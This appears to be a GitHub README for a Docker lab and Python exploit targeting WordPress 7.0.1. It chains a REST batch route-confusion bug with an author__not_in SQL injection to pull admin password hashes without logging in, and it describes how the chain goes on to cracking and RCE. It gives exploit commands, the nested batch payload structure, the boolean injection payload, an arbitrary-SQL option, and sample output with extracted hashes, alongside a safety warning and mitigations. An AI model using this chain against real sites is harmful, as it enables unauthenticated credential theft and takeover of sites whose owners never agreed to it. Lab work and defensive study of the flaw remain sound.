joaovicdev/exploit-cve-2026-63030Уязвимая лаборатория WordPress на базе Docker с Python-эксплойтом, демонстрирующим цепочку route confusion до аутентификации и SQL-инъекции (CVE-2026-63030 + CVE-2026-60137) для извлечения учётных данных и RCE.
| CVE | Компонент | Описание |
|---|
| CVE-2026-63030 | REST API /wp-json/batch/v1 | Route confusion: рассинхронизация между валидацией и диспетчеризацией подзапросов |
| CVE-2026-60137 | WP_Query (author__not_in) | SQL-инъекция, когда значение является строкой, а не массивом |
Вместе они позволяют атакующему без каких-либо учётных данных выполнить произвольный SQL (а в полной последовательности — дойти до RCE). Исправлено в WordPress 6.9.5 и 7.0.2. Затронутые цепочкой RCE версии: 6.9.0–6.9.4 и 7.0.0–7.0.1.
⚠️ Предупреждение: окружение намеренно небезопасно. Используйте только локально, изолированно. Никогда не выставляйте в интернет. Эксплойт должен использоваться только против этой лаборатории (или систем, на которые у вас есть явное разрешение).
docker compose up -d db wordpress # sobe MySQL + WordPress 7.0.1
docker compose run --rm wpcli # instala o WP e cria conteúdo/usuários
Это создаёт:
admin / SuperSecret123!victim / Victim_P@ss_2026 (второй администратор, цель извлечения хэша)get_items() возвращал строки)Проверьте уязвимую версию:
curl -s "http://localhost:8080/index.php?rest_route=/" | grep -o '"version":"[^"]*"'
# ... ou:
docker exec wp2shell-cli wp core version # 7.0.1
python3 exploit.py --url http://localhost:8080
Вывод (сокращённый):
[+] Route confusion OK: GET /wp/v2/users executou sob posts get_items()
[+] SQL injection cega confirmada (oráculo booleano 1=1 vs 1=2)
[*] Fingerprint do banco de dados:
versão MySQL = 8.0.46
usuário atual = wordpress@%
database = wordpress
[+] Credenciais extraídas (pré-autenticação, sem login):
ID=1 login=admin
hash=$wp$2y$10$tjd0.l/QQOhp9eQpwrufMuYVrjv4kVoJMfmA3f2ZZew51rND7o94q
ID=2 login=victim
hash=$wp$2y$10$3Nv1oxyfIe/yKqNd/AUZSOZqQYWiJHfNAKBPdbjMhqTtVBDbuBO0e
Другие опции:
python3 exploit.py --url http://localhost:8080 --sql "SELECT @@version" # SQL arbitrário
python3 exploit.py --url http://localhost:8080 --mode time # blind time-based
python3 exploit.py --url http://localhost:8080 -v # mostra cada query
Эксплойт использует только стандартную библиотеку Python 3 (без зависимостей).
docker exec wp2shell-db mysql -uroot -prootpass -N \
-e "SELECT ID,user_login,user_pass FROM wordpress.wp_users;"
Хэши должны быть идентичны извлечённым эксплойтом (который никогда не имел доступа к базе данных).
serve_batch_request_v1)В wp-includes/rest-api/class-wp-rest-server.php обработчик batch использует два параллельных массива: $matches (совпавшие маршрут/обработчик) и $validation (результат валидации):
foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) { // ex.: path "///" -> wp_parse_url()==false
$has_error = true;
$validation[] = $single_request; // <-- entra SÓ em $validation
continue; // <-- $matches NÃO recebe entrada => desync!
}
$match = $this->match_request_to_handler( $single_request );
$matches[] = $match;
...
$validation[] = $error ? $error : true;
}
При диспетчеризации обработчик считывается по индексу из $matches[$i], тогда как $single_request и $validation[$i] следуют полному индексу $requests. Праймер, не прошедший парсинг ("///"), сдвигает всё в $matches на одну позицию — поэтому подзапрос выполняется под обработчиком другого.
Схема batch принимает только методы POST/PUT/PATCH/DELETE (GET отклоняется с rest_not_in_enum). Эксплойт обходит это с помощью batch внутри batch:
BATCH EXTERNO (métodos válidos):
[ primer("///"),
carrier = POST /wp/v2/posts (body = BATCH INTERNO),
POST /batch/v1 ]
carrier валидируется как create_item постов (проходит: allow_batch=true, без обязательных параметров). Поскольку он не валидируется как batch, его body избегает валидации перечисления методов.carrier выполняться под обработчиком /batch/v1 (похищенным у 3-го подзапроса) → serve_batch_request_v1 обрабатывает сырое тело запроса, содержащее GET-подзапросы.BATCH INTERNO:
[ primer("///"),
GET /wp/v2/users?author_exclude=<PAYLOAD>, <-- users NÃO define author_exclude => valor cru
GET /wp/v2/posts ]
Новый внутренний desync → запрос GET /wp/v2/users (несущий несанитизированный author_exclude) выполняется под posts get_items(). Там:
// class-wp-rest-posts-controller.php
'author_exclude' => 'author__not_in', // mapeamento
А в WP_Query (class-wp-query.php) — уязвимый код:
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) { // <-- string PULA a sanitização
$query_vars['author__not_in'] = array_unique( array_map( 'absint', ... ) );
sort( ... );
}
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) "; // <-- injeção
}
Используемый булев payload: 0) AND (<condição>)-- -, превращающий WHERE в оракул (список с постами = истина; пустой список = ложь). Посимвольное извлечение с помощью бинарного поиска.
Примечание: путь достижим, когда отсутствует постоянный объектный кэш (стандартно для этой лаборатории), как описано в advisory.
Эта лаборатория проверяет предаутентификационную часть (route confusion → SQLi → утечка хэшей), которая является сердцем цепочки. Полная последовательность из advisory продолжается так:
$wp$2y$... (bcrypt) офлайн — hashcat -m 3200./wp-admin с восстановленным паролем.author__not_in к целым числам (wp_parse_id_list), даже когда это строка;/wp-json/batch/v1, отключение неаутентифицированной REST API, мониторинг запросов с author_exclude, содержащим SQL.docker compose down -v # remove containers + volumes (dados)